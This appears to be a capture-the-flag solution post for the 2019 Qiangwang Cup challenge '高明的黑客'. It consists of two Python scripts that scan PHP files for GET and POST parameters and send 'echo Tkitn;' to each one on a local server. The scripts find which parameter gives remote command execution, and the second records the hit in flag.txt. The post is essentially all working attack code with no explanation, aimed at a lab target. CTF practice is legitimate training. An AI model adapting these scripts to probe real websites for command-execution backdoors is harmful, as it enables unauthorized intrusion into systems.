[强网杯 2019]高明的黑客

import re
import requests
import os
import threading
import time

file_path = "/Users/xxx/Desktop/src"
url = "http://127.0.0.1/xxx/src/"
requests.adapters.DEFAULT_RETRIES = 5
filenames=os.listdir(file_path)
s = requests.Session()
s.keep_alive = False
a=0

def req_rce(url,filename,para,type):
    url1=url+filename+"?"+para+"=echo Tkitn;"
    url2 = url + filename
    if type=="GET":
        req = s.get(url1)
        if "Tkitn" in req.text:
            print(type + "/" + filename + "?" + para)
            global a
            a = 1
        else:
            pass
            #print("running")
    elif(type=="POST"):
        param={para:"echo Tkitn;"}
        req=s.post(url2,data=param)
        if "Tkitn" in req.text:
            print(type + "/" + filename + "?" + para)

        else:
            pass
            #print("running")
def getpara(file):
    with open(file_path + "/" + file, 'r') as f:
        lines = f.readlines()
        for line in lines:
            matchoj = re.search(r".*\$_(GET|POST)\[\'(.*)\'\]", line)
            if matchoj is not None:
                para = matchoj[2]
                type = matchoj[1]
                req_rce(url,file,para,type)

def main():
    global key
    start_time = time.time()  # 开始时间
    print("[start]程序开始:" + str(start_time))
    thread_list = []
    for fileName in filenames:
        t = threading.Thread(target=getpara, args=(fileName,))
        t.setDaemon(True)
        thread_list.append(t)
    for t in thread_list:
        t.start()
    for t in thread_list:
        if(not a):
            t.join()
        else:
            pass

    end_time = time.time()
    print("[end]程序结束:用时(秒):" + str(end_time - start_time))


if __name__ == '__main__':
    main()


脚本2（写文件）

import re
import requests
import os
import threading
import time

file_path = "/Users/xubowen/Desktop/src"
url = "http://127.0.0.1/Tkitn/src/"
requests.adapters.DEFAULT_RETRIES = 5
filenames=os.listdir(file_path)
s = requests.Session()
s.keep_alive = False

def setflag(flag):
    return flag

def req_rce(url,filename,para,type):
    url1=url+filename+"?"+para+"=echo Tkitn;"
    url2 = url + filename
    if type=="GET":
        req = s.get(url1)
        if "Tkitn" in req.text:
            flag=type+"/"+filename+"?"+para
            local_file = open("flag.txt", "w", encoding="utf-8")
            local_file.write(flag)
            local_file.close()
            setflag(0)
        else:
            print("running")
    elif(type=="POST"):
        param={para:"echo Tkitn;"}
        req=s.post(url2,data=param)
        if "Tkitn" in req.text:
            flag = type + "/" + filename + "?" + para
            local_file = open("flag.txt", "w", encoding="utf-8")
            local_file.write(flag)
            local_file.close()
            setflag(0)
        else:
            print("running")
def getpara(file):
    with open(file_path + "/" + file, 'r') as f:
        lines = f.readlines()
        for line in lines:
            matchoj = re.search(r".*\$_(GET|POST)\[\'(.*)\'\]", line)
            if matchoj is not None:
                para = matchoj[2]
                type = matchoj[1]
                req_rce(url,file,para,type)

def main():
    start_time = time.time()  # 开始时间
    print("[start]程序开始:" + str(start_time))
    thread_list = []
    for fileName in filenames:
        t = threading.Thread(target=getpara, args=(fileName,))
        thread_list.append(t)
    for t in thread_list:
        t.start()
    for t in thread_list:
        t.join()

    end_time = time.time()
    print("[end]程序结束:用时(秒):" + str(end_time - start_time))


if __name__ == '__main__':
    main()